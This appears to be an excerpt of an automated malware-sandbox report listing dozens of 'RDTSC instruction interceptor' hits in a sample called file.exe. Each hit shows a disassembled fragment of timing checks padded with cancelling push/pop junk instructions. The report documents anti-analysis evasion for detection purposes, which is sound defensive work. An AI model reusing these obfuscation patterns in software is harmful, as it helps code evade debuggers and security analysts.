Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10270D3 second address: 10270E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 jng 00007F1D54DCB064h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102724A second address: 1027291 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1D548AAC03h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnc 00007F1D548AABF6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F1D548AAC02h 0x0000001f jns 00007F1D548AABFEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027291 second address: 1027297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027297 second address: 102729D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102729D second address: 10272A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10272A1 second address: 10272AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030A2D second address: 1030A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030A43 second address: 1030A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030A49 second address: 1030A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030A4D second address: 1030A63 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D548AABF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F1D548AABF6h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F33F second address: 102F344 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F344 second address: 102F34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F34F second address: 102F353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F5DA second address: 102F5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F8D1 second address: 102F8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F8D7 second address: 102F8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102FB84 second address: 102FB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10301B1 second address: 10301B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030738 second address: 103073C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103073C second address: 1030758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D548AABFEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1D548AABF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035945 second address: 1035949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A3A second address: 1034A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A44 second address: 1034A4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A4A second address: 1034A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A50 second address: 1034A57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A57 second address: 1034A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A63 second address: 1034A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10350E1 second address: 10350E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10350E5 second address: 10350ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10350ED second address: 10350F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035641 second address: 1035648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035648 second address: 1035689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1D548AABF6h 0x0000000a pop eax 0x0000000b jno 00007F1D548AAC02h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F1D548AAC09h 0x00000018 push eax 0x00000019 jne 00007F1D548AABF6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035689 second address: 1035692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035692 second address: 1035696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A530 second address: 103A544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1D54DCB05Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A544 second address: 103A54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A54B second address: 103A557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1D54DCB056h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A18 second address: 1040A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A1C second address: 1040A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A20 second address: 1040A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007F1D548AABF6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A32 second address: 1040A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB065h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A4D second address: 1040A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A51 second address: 1040A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A55 second address: 1040A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F1D548AABF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040A69 second address: 1040A73 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040D60 second address: 1040D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040D64 second address: 1040D6F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041064 second address: 104106D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104106D second address: 1041073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041073 second address: 1041077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041077 second address: 104107D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10415A5 second address: 10415AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10415AB second address: 10415AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10415AF second address: 10415D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC01h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1D548AABFCh 0x0000000e jg 00007F1D548AABF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041E43 second address: 1041E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042668 second address: 104268E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1D548AAC07h 0x0000000b popad 0x0000000c jne 00007F1D548AABF8h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10404C8 second address: 10404EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F1D54DCB068h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10404EB second address: 1040508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1D548AABFDh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jc 00007F1D548AABF6h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040508 second address: 1040518 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1D54DCB058h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045B0B second address: 1045B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD12 second address: 105CD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD16 second address: 105CD1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD1F second address: 105CD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1D54DCB056h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD2D second address: 105CD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD33 second address: 105CD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CAA6 second address: 105CABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1D548AABF6h 0x0000000a jmp 00007F1D548AABFAh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CFAC second address: 106CFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106FEAC second address: 106FEB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077667 second address: 1077671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1D54DCB056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077671 second address: 1077675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077675 second address: 107767D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107767D second address: 107768E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AABFBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777DB second address: 10777E5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1D54DCB056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777E5 second address: 10777F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777F0 second address: 10777FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnp 00007F1D54DCB056h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E446 second address: 107E44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E44B second address: 107E45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1D54DCB056h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E12F second address: 107E139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E139 second address: 107E13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E13D second address: 107E15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D548AAC01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jnp 00007F1D548AABFCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096F01 second address: 1096F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB066h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096F1B second address: 1096F39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F1D548AABF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jnl 00007F1D548AABF6h 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jo 00007F1D548AABF6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096F39 second address: 1096F56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F1D54DCB056h 0x00000010 jmp 00007F1D54DCB05Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096F56 second address: 1096F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D48 second address: 1096D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D50 second address: 1096D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099C51 second address: 1099C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007F1D54DCB082h 0x0000000b js 00007F1D54DCB058h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099C68 second address: 1099C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099C72 second address: 1099C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10997F4 second address: 109981D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AABFCh 0x00000007 push esi 0x00000008 jmp 00007F1D548AAC08h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F819C3 second address: F819D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1D54DCB05Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2113 second address: 10B215D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b jmp 00007F1D548AAC06h 0x00000010 jmp 00007F1D548AAC05h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B127C second address: 10B128C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 jc 00007F1D54DCB062h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B128C second address: 10B12B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1D548AABF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F1D548AAC05h 0x00000012 pushad 0x00000013 jng 00007F1D548AABF6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1402 second address: 10B142C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1D54DCB056h 0x00000008 jmp 00007F1D54DCB05Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 jmp 00007F1D54DCB05Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B142C second address: 10B145A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D548AAC02h 0x00000010 jmp 00007F1D548AAC01h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B145A second address: 10B1464 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1828 second address: 10B1845 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D548AAC05h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1845 second address: 10B184B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1981 second address: 10B198C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1D548AABF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B198C second address: 10B19D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1D54DCB056h 0x0000000a jns 00007F1D54DCB056h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F1D54DCB068h 0x00000019 jmp 00007F1D54DCB068h 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
